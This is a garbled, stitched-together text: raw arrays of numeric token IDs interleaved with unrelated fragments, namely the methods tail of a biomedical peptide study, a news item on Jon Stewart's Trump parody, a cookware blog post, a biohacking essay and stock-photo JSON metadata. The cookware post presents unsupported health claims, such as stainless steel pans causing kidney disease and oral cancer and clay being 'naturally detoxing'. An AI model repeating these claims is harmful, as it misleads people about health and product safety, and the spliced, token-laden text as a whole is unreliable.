5441, 285, 1524, 1491, 45719, 19498, 753, 15, 187, 187, 10971, 13, 4361, 1223, 2509, 247, 3778, 1607, 3796, 318, 13, 19498, 34800, 271, 9165, 1340, 5742, 323, 253, 1524, 8304, 963, 1940, 251, 14, 28302, 14, 2823, 5945, 275, 7015, 27, 346, 42, 13, 10053, 500, 15, 3778, 13, 513, 11165, 3346, 326, 309, 717, 9286, 272, 449, 187, 187, 6812, 11005, 2879, 27, 346, 510, 26083, 310, 6326, 281, 2363, 253, 4007, 13, 417, 253, 1345, 449, 13030, 8910, 187, 187, 6175, 2819, 323, 253, 4389, 383, 4417, 1935, 13, 581, 2181, 326, 310, 1077, 1774, 310, 849, 17411, 253, 1721, 457, 84, 9305, 2144, 310, 32, 831, 310, 984, 253, 2739, 310, 247, 19183, 10726, 326, 310, 2256, 281, 458, 5250, 604, 18621, 275, 247, 17411, 1721, 390, 3199, 15, 2053, 7006, 326, 452, 458, 2729, 432, 253, 1721, 403, 273, 642, 21989, 1318, 275, 253, 2133, 533, 476, 2847, 1142, 6578, 604, 4136, 281, 29010, 275, 253, 2133, 15, 31916, 1514, 13, 31361, 10194, 285, 3626, 24272, 428, 510, 806, 767, 403, 1077, 4633, 323, 2403, 12398, 36612, 13, 253, 1390, 581, 310, 21896, 10254, 984, 273, 697, 1786, 1318, 689, 643, 637, 12710, 4753, 13, 1281, 457, 84, 1089, 562, 534, 310, 253, 4389, 383, 4417, 1935, 15995, 253, 1264, 32, 187, 187, 53, 10157, 1514, 187, 187, 53, 10157, 1514, 310, 5148, 34663, 10375, 432, 697, 29900, 40422, 587, 13, 407, 5141, 949, 10410, 1487, 285, 16, 263, 29742, 15, 9658, 296, 697, 1027, 4648, 13, 352, 310, 671, 908, 323, 2403, 9205, 37034, 390, 5961, 285, 25548, 47105, 275, 253, 2133, 15, 4923, 273, 436, 1921, 13, 352, 310, 247, 1846, 9927, 326, 352, 476, 457, 85, 513, 667, 5237, 275, 253, 2133, 15, 3973, 273, 512, 13, 31916, 1514, 310, 247, 17411, 3284, 285, 44865, 342, 1846, 3603, 1246, 275, 253, 10825, 751, 7768, 13, 14164, 13, 9946, 13, 285, 1824, 281, 830, 2710, 7006, 15, 4923, 273, 436, 13, 352, 310, 5604, 17411, 281, 2739, 13, 3340, 1309, 12398, 2, 4923, 4250, 310, 247, 16803, 323, 512, 9969, 15, 187, 187, 998, 404, 1417, 19727, 187, 187, 1552, 23924, 310, 2130, 275, 1027, 23129, 13, 253, 4633, 4394, 313, 16691, 4096, 10, 403, 27639, 285, 33152, 15, 380, 27639, 14, 7698, 31361, 10194, 4428, 3603, 751, 26595, 1514, 13, 13104, 293, 13, 32676, 13, 41540, 39534, 13, 285, 34413, 15, 33152, 671, 556, 1029, 2308, 273, 13104, 293, 285, 353, 10270, 67, 3354, 360, 15, 1876, 841, 3603, 403, 4122, 17411, 285, 2740, 1066, 347, 13291, 672, 2739, 310, 18621, 275, 659, 404, 1417, 10194, 4417, 1935, 15, 2053, 13398, 342, 23491, 275, 2739, 285, 830, 12825, 7006, 326, 403, 8312, 275, 253, 2133, 15, 1198, 4227, 13, 247, 1077, 1355, 2408, 273, 4719, 273, 30237, 476, 2847, 12333, 12909, 13, 1698, 2614, 3473, 13, 6616, 11820, 641, 13, 7946, 2923, 13, 4808, 3237, 3966, 15, 22469, 13, 604, 368, 403, 2819, 323, 253, 4389, 383, 4417, 1935, 13, 368, 5082, 457, 85, 971, 281, 5206, 659, 404, 1417, 19727, 15, 187, 187, 39441, 21710, 187, 187, 1552, 2144, 310, 512, 14, 19293, 285, 310, 2223, 6289, 281, 347, 2802, 21423, 24272, 457, 275, 697, 6313, 296, 830, 15, 20988, 24272, 310, 10748, 20788, 285, 352, 2506, 457, 85, 3831, 667, 17110, 390, 5148, 34404, 751, 31916, 1514, 390, 659, 404, 1417, 19727, 15, 14673, 24272, 310, 247, 2233, 6, 6313, 24405, 275, 3753, 751, 9313, 7779, 285, 984, 352, 310, 10748, 40472, 272, 13, 352, 1057, 417, 1379, 281, 3139, 667, 36306, 2, 733, 671, 2550, 320, 908, 323, 23420, 984, 436, 8825, 4850, 1077, 16572, 285, 1892, 285, 1057, 417, 1581, 253, 4444, 457, 84, 5230, 985, 281, 34298, 15, 187, 187, 34, 2969, 17326, 29737, 1071, 2218, 327, 841, 4753, 671, 2722, 326, 253, 1721, 1160, 432, 440, 3129, 30981, 3625, 24272, 2506, 457, 85, 458, 607, 2712, 1223, 12398, 15, 3308, 253, 4389, 383, 2144, 323, 2403, 4417, 1935, 310, 3626, 24272, 1108, 642, 2647, 849, 1199, 359, 3368, 342, 1027, 4753, 13, 436, 512, 14, 19293, 2144, 27125, 731, 512, 2, 187, 187, 43954, 13, 627, 588, 320, 952, 665, 12027, 253, 2934, 273, 7296, 841, 767, 21242, 265, 285, 1655, 33430, 273, 5859, 347, 9129, 9015, 73, 471, 398, 15, 1723, 13, 672, 12392, 253, 5609, 13, 3082, 13, 12342, 13, 9317, 285, 39396, 323, 253, 3045, 273, 4980, 9015, 73, 10892, 13, 352, 1057, 417, 9184, 1199, 432, 253, 3302, 2250, 273, 841, 33430, 273, 5859, 15, 3813, 13, 359, 476, 387, 1878, 1333, 326, 841, 403, 11859, 3210, 281, 253, 9015, 73, 10892, 4866, 15, 380, 45919, 285, 1133, 12710, 5853, 310, 1846, 275, 1142, 13288, 13, 1690, 323, 16775, 13, 281, 534, 1142, 8607, 285, 717, 43643, 452, 1160, 3632, 32912, 285, 949, 13760, 3082, 273, 2561, 15, 187, 187, 510, 9015, 73, 10892, 4866, 310, 253, 3946, 326, 269, 5123, 20178, 16775, 342, 253, 48109, 4866, 15, 4129, 352, 310, 2783, 271, 27736, 4866, 13, 253, 1072, 13, 347, 275, 12672, 310, 327, 253, 1039, 281, 5702, 1320, 13, 285, 1014, 6264, 4648, 285, 2629, 1320, 273, 3082, 13, 824, 347, 247, 8869, 273, 247, 24387, 3645, 323, 1794, 5829, 7545, 285, 253, 9015, 73, 10892, 4866, 13, 347, 247, 1332, 323, 2353, 12947, 15, 2091, 581, 11121, 326, 253, 9015, 73, 10892, 4866, 310, 27736, 13, 359, 1364, 4456, 326, 253, 1270, 4382, 38287, 13, 323, 253, 954, 629, 13, 858, 417, 1014, 452, 247, 9835, 4248, 13, 285, 1199, 273, 352, 2210, 2810, 281, 689, 394, 18639, 1781, 18674, 342, 512, 616, 5702, 1204, 15, 380, 1533, 2544, 285, 12342, 1364, 320, 294, 24286, 670, 752, 275, 958, 310, 5702, 1320, 15, 496, 3645, 3660, 3719, 13, 253, 17832, 3490, 1925, 253, 13575, 369, 2783, 271, 27736, 32827, 407, 17760, 13, 1690, 30525, 2714, 3006, 275, 21041, 285, 2137, 5871, 15, 2091, 359, 10018, 253, 1921, 13, 359, 8968, 326, 597, 497, 987, 281, 1908, 731, 717, 43643, 13, 417, 1907, 16572, 3733, 13, 5536, 8914, 38238, 13, 15285, 21041, 273, 2280, 37290, 347, 271, 8544, 25099, 15, 2726, 436, 5301, 359, 476, 8968, 326, 352, 310, 417, 4503, 281, 1067, 253, 27736, 9015, 73, 10892, 4866, 13, 3738, 275, 690, 2219, 352, 1663, 310, 13, 2429, 281, 4382, 38287, 13, 3738, 597, 452, 644, 10509, 347, 717, 43643, 13, 253, 4723, 285, 387, 253, 1072, 673, 20417, 4780, 597, 3982, 310, 41490, 844, 778, 13, 275, 436, 1083, 13, 1908, 326, 253, 9015, 73, 10892, 4866, 310, 275, 436, 3126, 15, 187, 187, 1628, 1231, 403, 387, 247, 673, 281, 2096, 625, 281, 4709, 1417, 1425, 21088, 11579, 466, 15, 187, 187, 510, 6612, 310, 326, 253, 9015, 73, 10892, 4866 ]	C; source temperature, 120°C). The multiple reaction monitoring (MRM) mode was applied for MS/MS detection (VFDTEIAQVTSDTAVGAR: m/z 940.5 → 1175.5 + 877.7; VFDTEIAQVTSDTAVGA-\[13C6,15N4\]R: m/z 945.5 → 1185.5 + 887.7) with cone and collision set at 55 and 40 V, respectively. Chromatographic peak area ratios between unlabeled and labeled peptides constituted the detector responses. Standard solutions were used to plot calibration curves and a linear regression model (1/× weighting) was used for quantification. Statistical analysis {#s4_9} -------------------- Data are expressed as mean ± SD. Statistical analyses were performed to compare the percentage of MELOE-1 and MELOE-3 specific INFγ positive micro-cultures after sensitization with the corresponding peptides. Normal distribution was evaluated by a Kolmogorov-Smirnov normality test and a paired t test was used to compare the percentage of CD4+ or CD8+ IFNγ positive microcultures in each donor. Statistical analyses were performed using PRISM software. SUPPLEMENTARY MATERIALS FIGURES {#s5} =============================== We thank the MicroPICell imaging facility, the Cytometry Facility "CytoCell" and the Mass Spectrometry facility of the SFR Santé for expert technical assistance. CONFLICTS OF INTEREST The authors declare no conflicts of interest. GRANT SUPPORT This work was supported by fundings from the Ligue contre le Cancer and Association de Recherche contre le Cancer and performed in the context of the LabEX IGO program supported by the National Research Agency (ANR-11-LABX-0016-01). M. Charpentier is supported by a grant from the French ministry of Research. aa : amino acid bp : base pair TIL : Tumor infiltrating lymphocytes ORF : open reading frame PBMC : peripheral blood mononuclear cells IRES : internal ribosome entry site DC : dendritic cell ITAF : IRES trans-acting factor LC-MS/MS : liquid chromatography, tandem mass spectrometry lncRNA : long non coding RNA MRM : multiple reaction monitoring. Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. Jon Stewart doesn't need "The Daily Show" to do what he's best known for: savagely skewering Washington's politicos. The former TV host made a surprise appearance on Tuesday night's "The Late Show with Stephen Colbert," dressed up as President Donald Trump and armed with executive actions of his own in a bid to spoof the new administration. "We have never faced this before: Purposeful, vindictive chaos," Stewart said of Trump's unorthodox presidency. Let our news meet your inbox. The news and stories that matters, delivered weekday mornings. This site is protected by recaptcha Trump in his first 12 days in office has fired off a flurry of executive orders and memos, which have not gone unnoticed by Stewart. The political satirist appeared on the show wearing a long red tie and dead animal strapped to his head in an apparent parody of the president. Stewart, who left "The Daily Show" in August 2015 after 16 years in the anchor's chair, also told Colbert that Trump has other executive orders up his sleeve. The first: Requiring China to ship its Great Wall to America's southern border. "It's [cash on delivery], Mexico has to sign for it, boom, they have to pay for it," Stewart said, channeling Trump. "Done." Then, Stewart said, the new official language of the United States would be "bulls--t." "And by the way, none of that, 'Sure, I'll speak bulls--t at work, but at home I'm going to use facts and real information,'" Stewart said. Finally, reading while doing a Trump impersonation, Stewart unveiled an executive order specifically for the real estate tycoon-turned-commander in chief: "I, Donald J. Trump, do declare... that I am exhausting." Stewart added: "The presidency is supposed to age the president, not the public."Main menu While looking for the safest cookware, one thing that is very important is how reactive the pot’s raw material is? This is because the food is a biochemical entity that is subject to leaching if cooked in a reactive pot or pan. These compounds that have leached from the pot are of no nutritional value in the body but can cause many diseases if allowed to accumulate in the body. Titanium, stainless steel and natural clay -The first two are very popular for making cooking pots, the last one is gaining momentum because of its health value over other manmade materials, Let’s find out which is the safest cookware amongst the three? Titanium Titanium is metal chemically extracted from its ore rutile, by reduction through chlorides and/or magnesium. Amongst its different uses, it is also used for making surgical inserts or bone and cartilage replacements in the body. Because of this reason, it is a common belief that it can’t do any harm in the body. First of all, Titanium is a reactive element and reacts with common elements present in the atmosphere like oxygen, nitrogen, hydrogen, and water to form various compounds. Because of this, it is certainly reactive to food, especially during cooking! Because heat is a catalyst for all reactions. Stainless Steel This alloy is available in different grades, the popular ones (general purpose) are 304 and 316. The 304-grade stainless steel contains elements like Chromium, Nickel, Carbon, Manganese, and Silicon. 316 also has high levels of Nickel and Molybdenum. All these elements are highly reactive and break down as ions when food is cooked in Stainless steel cookware. These combine with nutrients in food and form toxic compounds that are dangerous in the body. For instance, a very small amount of concentration of nickel can cause kidney dysfunction, low blood pressure, muscle tremors, oral cancer, skin problems etc. Obviously, if you are looking for the safest cookware, you wouldn’t want to choose Stainless Steel. Natural Clay This material is all-natural and is often referred to as ‘primary clay’ in its purest form. Primary clay is naturally inert and it doesn’t contain any chemicals or metal toxins like Titanium or Stainless Steel. Natural clay is a 100% pure ingredient in nature like rainwater and because it is naturally detoxing, it does not take to itself any contaminants! It also cannot be used for farming because this soil gets very rigid and hard and does not allow the plant’s root system to thrive. A simple baking soda test done on these materials also shows that the pot made from unglazed primary clay doesn’t leach anything while cooking. Thus the safest material for making cookware is natural clay – no matter how much we experiment with different materials, this all-natural material beats them all! Certainly, there will be people who dispute the idea of considering these two geniuses and current giants of science as ancient biohackers. However, when studying the techniques, methods, concepts, logic and methodologies for the performance of modern biohacking, it does not differ much from the initial action of these giants of science. Therefore, we can at least say that these are concrete models to the biohacking movement. The DIY and handmade technique is common in many segments, including for biology, to which many researchers and amateurs have made random discoveries and through logical methods of research. The biohacking movement is the practice that fuses conceptual biology with the hacker movement. Although it is considered an amateur movement, the same, as in computing is on the way to professionalization, and even commercial uses and standardization of methods, such as a creation of a Hello World for biosciences and the biohacking movement, as a method for beginners. When one thinks that the biohacking movement is amateur, we must remember that the great computer hackers, for the most part, did not even have a university degree, and much of it came close to overthrowing large corporations with all their professionalism. The world changes and concepts must be rethought about what in fact is professionalization. In World War II, the elite force called the SS was considered an amateur grouping by allies, including historians specializing in tactics and war operations. When we observe the reason, we realize that they were right to consider them amateurs, not having rigid training, heavy weapons logistics, strategic tactics of mass annihilation as an army possesses. With this comparison we can realize that it is not equal to call the amateur biohacking movement, although in some cases it really is, compared to computer hackers, although they have been classified as amateurs, the damage and at the same time technological progress they brought is gigantic We may, in this case, consider that the biohacking movement is in this environment. “We are at a time to understand more to fearless.” Marie Curie. The reality is that the biohacking movement
[ 43432, 15591, 35484, 5736, 22, 6624, 21997, 64, 19209, 6302, 3016, 5, 2787, 15, 1525, 6624, 33681, 64, 19209, 6302, 3, 599, 937, 261, 64, 31263, 64, 395, 64, 81, 3201, 284, 494, 1381, 7750, 94, 937, 17726, 31699, 20333, 24285, 6071, 64, 301, 1381, 17726, 31699, 20333, 937, 5564, 6302, 30138, 26159, 1952, 16054, 606, 48902, 6071, 64, 881, 64, 301, 1381, 18, 937, 6071, 64, 881, 6302, 5695, 15591, 42787, 6624, 6071, 64, 30857, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 2222, 15591, 2504, 15591, 3832, 15591, 9913, 64, 39, 64, 17726, 31699, 20333, 64, 36, 91, 54, 89, 336, 51, 17, 3246, 43, 1839, 50, 934, 394, 8962, 53, 28374, 51, 20, 73, 20, 35, 43, 23, 15, 11368, 6624, 6071, 64, 30857, 64, 16374, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 2222, 15591, 2504, 15591, 3832, 15591, 5388, 64, 39, 64, 17726, 31699, 20333, 64, 36, 91, 54, 89, 336, 51, 17, 3246, 43, 1839, 50, 934, 394, 8962, 53, 28374, 51, 20, 73, 20, 35, 43, 23, 15, 11368, 6624, 6071, 64, 7436, 1381, 24257, 937, 6071, 64, 3429, 1381, 5388, 937, 6071, 64, 19164, 64, 7436, 1381, 23100, 25, 937, 6071, 64, 19164, 64, 3429, 1381, 22, 32006, 937, 8124, 6302, 42787, 6624, 3118, 64, 3140, 64, 3967, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 20865, 15591, 30658, 693, 782, 264, 15591, 17726, 31699, 20333, 6624, 7582, 6302, 43, 35471, 4115, 6624, 7582, 64, 6434, 6302, 15591, 8716, 32, 20132, 263, 64, 301, 30, 938, 1976, 36208, 1797, 6624, 6071, 64, 6434, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 13485, 15591, 1665, 26159, 1952, 16054, 606, 15591, 17726, 31699, 20333, 6624, 261, 64, 81, 3201, 284, 494, 1381, 5672, 937, 261, 64, 8547, 1381, 7750, 937, 261, 64, 27545, 64, 27490, 1381, 7750, 937, 261, 64, 16455, 1381, 7750, 937, 261, 64, 20, 37, 1381, 7750, 937, 261, 64, 5695, 1381, 5672, 937, 261, 64, 11000, 1381, 7750, 937, 261, 64, 22202, 64, 301, 1381, 7750, 937, 261, 64, 22202, 414, 64, 8716, 64, 31263, 1381, 5672, 937, 24902, 64, 17130, 29925, 18, 13, 19, 62, 937, 39869, 64, 881, 6302, 6586, 6624, 14267, 24285, 301, 1381, 26541, 937, 1590, 6302, 8836, 986, 937, 37448, 1514, 64, 5251, 24285, 18, 6302, 5695, 93, 15291, 93, 6443, 93, 11546, 93, 5736, 18, 6624, 19, 6302, 5695, 93, 43315, 93, 6443, 93, 11546, 93, 5736, 22, 986, 937, 37448, 1514, 64, 5251, 64, 301, 1381, 17, 937, 13518, 64, 10008, 6302, 30138, 26159, 1952, 16054, 606, 428, 22900, 436, 5739, 7512, 285, 8338, 2074, 3888, 387, 33143, 15725, 6624, 261, 64, 83, 2345, 64, 27806, 64, 34118, 1381, 7750, 937, 30857, 32012, 64, 6434, 6302, 3614, 8048, 6602, 16, 85, 21, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 2222, 15591, 2504, 15591, 3832, 15591, 14028, 64, 39, 64, 17726, 31699, 20333, 64, 36, 91, 54, 89, 336, 51, 17, 3246, 43, 1839, 50, 934, 394, 8962, 53, 28374, 51, 20, 73, 20, 35, 43, 23, 15, 11368, 6624, 30857, 32012, 64, 3429, 1381, 24454, 15, 28321, 3208, 1166, 4148, 1976, 1630, 2357, 2090, 1717, 2537, 1036, 2082, 21866, 7554, 1010, 3208, 1867, 1540, 2759, 17820, 937, 30857, 32012, 64, 7436, 1381, 14028, 937, 788, 5623, 881, 11495, 1381, 8629, 937, 261, 64, 663, 8821, 1381, 7750, 937, 8236, 64, 881, 64, 1968, 6302, 16227, 6624, 16455, 64, 6795, 64, 42150, 64, 6434, 1381, 8629, 937, 2621, 64, 2364, 1381, 1976, 937, 14267, 64, 73, 1321, 12638, 6302, 6624, 580, 15642, 1381, 8629, 937, 435, 382, 64, 6377, 64, 6434, 6302, 15591, 1987, 42104, 15591, 938, 1976, 36208, 1797, 15591, 6362, 371, 4115, 32, 2799, 64, 881, 30, 7582, 6624, 261, 64, 37448, 1514, 1381, 7750, 937, 43315, 64, 21997, 64, 19209, 6302, 3016, 5, 2787, 15, 1525, 6624, 21997, 64, 23454, 24285, 18, 24285, 7509, 64, 2364, 6302, 15591, 43432, 15591, 35484, 5736, 18, 6624, 21997, 64, 19209, 6302, 6624, 33681, 64, 19209, 6302, 986, 937, 19, 24285, 7509, 64, 2364, 6302, 15591, 43432, 15591, 35484, 5736, 22, 6624, 21997, 64, 19209, 6302, 3016, 5, 2787, 15, 1525, 6624, 33681, 64, 19209, 6302, 3, 599, 937, 261, 64, 31263, 64, 395, 64, 81, 3201, 284, 494, 1381, 7750, 94, 937, 18467, 1867, 2597, 1549, 24285, 6071, 64, 301, 1381, 18467, 1867, 2597, 1549, 937, 5564, 6302, 26617, 6624, 6071, 64, 881, 64, 301, 1381, 18, 937, 6071, 64, 881, 6302, 5695, 15591, 42787, 6624, 6071, 64, 30857, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 1540, 15591, 1867, 15591, 2597, 15591, 9913, 64, 39, 64, 18467, 1867, 2597, 1549, 64, 80, 358, 75, 37514, 7817, 77, 56, 2270, 39, 1686, 58, 55, 82, 19805, 10579, 1240, 25, 88, 35, 22, 38218, 351, 15, 11368, 6624, 6071, 64, 30857, 64, 16374, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 1540, 15591, 1867, 15591, 2597, 15591, 5388, 64, 39, 64, 18467, 1867, 2597, 1549, 64, 80, 358, 75, 37514, 7817, 77, 56, 2270, 39, 1686, 58, 55, 82, 19805, 10579, 1240, 25, 88, 35, 22, 38218, 351, 15, 11368, 6624, 6071, 64, 7436, 1381, 24257, 937, 6071, 64, 3429, 1381, 5388, 937, 6071, 64, 19164, 64, 7436, 1381, 23100, 25, 937, 6071, 64, 19164, 64, 3429, 1381, 22, 32006, 937, 8124, 6302, 42787, 6624, 3118, 64, 3140, 64, 3967, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 20865, 15591, 30658, 693, 782, 264, 15591, 18467, 1867, 2597, 1549, 6624, 7582, 6302, 41849, 6624, 7582, 64, 6434, 6302, 15591, 8716, 32, 20132, 263, 64, 301, 30, 18202, 740, 2090, 3677, 6624, 6071, 64, 6434, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 13485, 15591, 26617, 15591, 18467, 1867, 2597, 1549, 6624, 261, 64, 81, 3201, 284, 494, 1381, 5672, 937, 261, 64, 8547, 1381, 7750, 937, 261, 64, 27545, 64, 27490, 1381, 7750, 937, 261, 64, 16455, 1381, 7750, 937, 261, 64, 20, 37, 1381, 7750, 937, 261, 64, 5695, 1381, 5672, 937, 261, 64, 11000, 1381, 7750, 937, 261, 64, 22202, 64, 301, 1381, 7750, 937, 261, 64, 22202, 414, 64, 8716, 64, 31263, 1381, 5672, 937, 24902, 64, 17130, 29925, 18, 13, 19, 62, 937, 39869, 64, 881, 6302, 6586, 6624, 14267, 24285, 301, 1381, 26541, 937, 1590, 6302, 8836, 986, 937, 37448, 1514, 64, 5251, 24285, 18, 6302, 5695, 93, 15291, 93, 6443, 93, 11546, 93, 5736, 18, 6624, 19, 6302, 5695, 93, 43315, 93, 6443, 93, 11546, 93, 5736, 22, 986, 937, 37448, 1514, 64, 5251, 64, 301, 1381, 17, 937, 13518, 64, 10008, 6302, 26617, 428, 22900, 436, 5739, 7512, 285, 8338, 2074, 3888, 387, 33143, 15725, 6624, 261, 64, 83, 2345, 64, 27806, 64, 34118, 1381, 7750, 937, 30857, 32012, 64, 6434, 6302, 3614, 8048, 6602, 16, 85, 21, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 520, 15591, 1540, 15591, 1867, 15591, 2597, 15591, 14028, 64, 39, 64, 18467, 1867, 2597, 1549, 64, 80, 358, 75, 37514, 7817, 77, 56, 2270, 39, 1686, 58, 55, 82, 19805, 10579, 1240, 25, 88, 35, 22, 38218, 351, 15, 11368, 6624, 30857, 32012, 64, 3429, 1381, 24454, 15, 28321, 3208, 1166, 4148, 1976, 1630, 2357, 2090, 1717, 2537, 1036, 2082, 21866, 7554, 1010, 3208, 1867, 1540, 2759, 17820, 937, 30857, 32012, 64, 7436, 1381, 14028, 937, 788, 5623, 881, 11495, 1381, 8629, 937, 261, 64, 663, 8821, 1381, 7750, 937, 8236, 64, 881, 64, 1968, 6302, 16227, 6624, 16455, 64, 6795, 64, 42150, 64, 6434, 1381, 8629, 937, 2621, 64, 2364, 1381, 3121, 937, 14267, 64, 73, 1321, 12638, 6302, 6624, 580, 15642, 1381, 8629, 937, 435, 382, 64, 6377, 64, 6434, 6302, 15591, 1987, 42104, 15591, 18202, 740, 2090, 3677, 15591, 1299, 90, 32, 2799, 64, 881, 30, 7582, 6624, 261, 64, 37448, 1514, 1381, 7750, 937, 43315, 64, 21997, 64, 19209, 6302, 3016, 5, 2787, 15, 1525, 6624, 21997, 64, 23454, 24285, 18, 24285, 7509, 64, 2364, 6302, 15591, 43432, 15591, 35484, 5736, 18, 6624, 21997, 64, 19209, 6302, 6624, 33681, 64, 19209, 6302, 986, 937, 19, 24285, 7509, 64, 2364, 6302, 15591, 43432, 15591, 35484, 5736, 22, 6624, 21997, 64, 19209, 6302, 3016, 5, 2787, 15, 1525, 6624, 33681, 64, 19209, 6302, 3, 599, 937, 261, 64, 31263, 64, 395, 64, 81, 3201, 284, 494, 1381, 7750, 94, 937, 1438, 25616, 17726, 24285, 6071, 64, 301, 1381, 1438, 25616, 17726, 937, 5564, 6302, 30998, 593, 762, 1113, 487, 14844, 32712, 6624, 6071, 64, 881, 64, 301, 1381, 18, 937, 6071, 64, 881, 6302, 5695, 15591, 42787, 6624, 6071, 64, 30857, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 361, 15591, 1438, 15591, 1549, 15591, 3677, 15591, 9913, 64, 39, 64, 1438, 25616, 17726, 64, 45, 20, 35, 3433, 13935, 58, 20583, 57, 6435, 40, 4148, 22047, 75, 90, 5648, 20, 56, 69, 15580, 25, 80, 47, 71, 17, 15, 11368, 6624, 6071, 64, 30857, 64, 16374, 64, 6434, 6302, 3614, 8048, 6602, 16, 284, 19, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 361, 15591, 1438, 15591, 1549, 15591, 3677, 15591, 5388, 64, 39, 64, 1438, 25616, 17726, 64, 45, 20, 35, 3433, 13935, 58, 20583, 57, 6435, 40, 4148, 22047, 75, 90, 5648, 20, 56, 69, 15580, 25, 80, 47, 71, 17, 15, 11368, 6624, 6071, 64, 7436, 1381, 5388, 937, 6071, 64, 3429, 1381, 31543, 937, 6071, 64, 19164, 64, 7436, 1381, 1237, 1525, 937, 6071, 64, 19164, 64, 3429, 1381, 1717, 361, 937, 8124, 6302, 42787, 6624, 3118, 64, 3140, 64, 3967, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 20865, 15591, 30658, 693, 782, 264, 15591, 1438, 25616, 17726, 6624, 7582, 6302, 72, 27088, 681, 6624, 7582, 64, 6434, 6302, 15591, 8716, 32, 20132, 263, 64, 301, 30, 938, 1508, 12115, 3439, 6624, 6071, 64, 6434, 6302, 3614, 8048, 6602, 16, 17764, 15, 324, 8594, 15, 681, 15591, 13485, 15591, 409, 593, 14, 4524, 14, 5546, 487, 14844, 14, 13998, 1178, 15591, 1438, 25616, 17726, 6624, 261, 64, 81, 3201, 284, 494, 1381, 5672, 937, 261, 64, 8547, 1381, 7750, 937, 261, 64, 27545, 64, 27490, 1381, 7750, 937, 261, 64, 16455, 1381, 7750, 937, 261, 64, 20, 37, 1381, 7750, 937, 261, 64, 5695, 1381, 5672, 937, 261, 64, 11000, 1381, 7750, 937, 261, 64, 22202, 64, 301, 1381, 7750, 937, 261, 64, 22202, 414, 64, 8716, 64, 31263, 1381, 5672, 937, 24902, 64, 17130, 29925, 18, 13, 19, 62, 937, 39869, 64, 881, 6302, 6586, 6624, 14267, 24285, 301, 1381, 740, 3763, 937, 1590, 6302, 10697, 487, 14844, 986, 937, 37448, 1514, 64, 5251, 24285, 18, 6302, 5695, 93, 15291, 93, 6443, 93, 11546, 93, 5736, 18, 6624, 19, 6302, 5695, 93, 43315, 93, 6443, 93, 11546, 93, 5736, 22, 986, 937, 37448, 1514, 64, 5251, 64, 301, 1381, 17, 937, 13518, 64, 10008, 6302, 30998, 593, 762, 1113, 487, 14844, 32712, 428, 22900, 436, 5739, 7512, 285, 8338, 2074, 3888, 387, 33143, 15725, 6624, 261, 64, 83, 2345, 64, 27806, 64, 34118, 1381, 7750, 937, 30857, 32012, 64, 6434, 6302, 3614, 8048, 6602, 16, 85, 21, 15, 649, 29082, 15, 3024, 15591, 11368, 15591, 361, 15591, 1438, 15591, 1549, 15591, 3677, 15591, 14028, 64, 39, 64, 1438, 25616, 17726, 64, 45, 20, 35, 3433, 13935, 58, 20583, 57, 6435, 40, 4148, 22047, 75, 90, 5648, 20, 56, 69, 15580, 25, 80, 47, 71, 17, 15, 11368, 6624, 30857, 32012, 64, 3429, 1381, 17605, 15, 9595, 43977, 49475, 3571, 1012, 1036, 1423, 3141, 1839, 1867, 1967, 19319, 23, 1252, 1166, 1093, 1976, 937, 30857, 32012, 64, 7436, 1381, 14028, 937, 788, 5623, 881, 11495, 1381, 8629, 937, 261, 64, 663, 8821, 1381, 7750, 937, 8236, 64, 881, 64, 1968, 6302, 16227, 6624, 16455, 64, 6795, 64, 42150, 64, 6434, 1381, 8629, 937, 2621, 64, 2364, 1381, 2357, 937, 14267, 64, 73, 1321, 12638, 6302, 6624, 580, 15642, 1381, 8629, 937, 435, 382, 64, 6377, 64, 6434, 6302, 15591, 1987, 42104, 15591, 938, 1508, 12115, 3439 ]	Applications\/StockPT5","license_price":"US$79.99","facing_price":""}},"is_allowed_and_purchasable":false},"195476172":{"content_id":195476172,"title":"Sonnenaufgang ","content_type_id":1,"content_type":"image\/jpeg","content_thumb_url":"https:\/\/as2.ftcdn.net\/jpg\/01\/95\/47\/61\/160_F_195476172_CzUxceR0PEJ38QblethuvTxorR3h3BJ6.jpg","content_thumb_large_url":"https:\/\/as2.ftcdn.net\/jpg\/01\/95\/47\/61\/500_F_195476172_CzUxceR0PEJ38QblethuvTxorR3h3BJ6.jpg","content_height":334,"content_width":500,"content_original_height":3648,"content_original_width":5472,"format":"jpeg","comp_file_path":"https:\/\/stock.adobe.com\/Download\/Watermarked\/195476172","author":"Jaqueline","author_url":"\/search?creator_id=207585421","content_url":"https:\/\/stock.adobe.com\/images\/sonnenaufgang\/195476172","is_purchasable":true,"is_template":false,"is_chin_below":false,"is_video":false,"is_3D":false,"is_image":true,"is_vector":false,"is_similar_id":false,"is_similarity_search_allowed":true,"possible_licenses":[1,2],"asset_type":"Image","category":{"id":695,"name":"People"},"premium_level":{"1":"image\|standard\|core\|full\|PT1","2":"image\|extended\|core\|full\|PT5"},"premium_level_id":0,"meta_description":"Sonnenaufgang - Buy this stock photo and explore similar images at Adobe 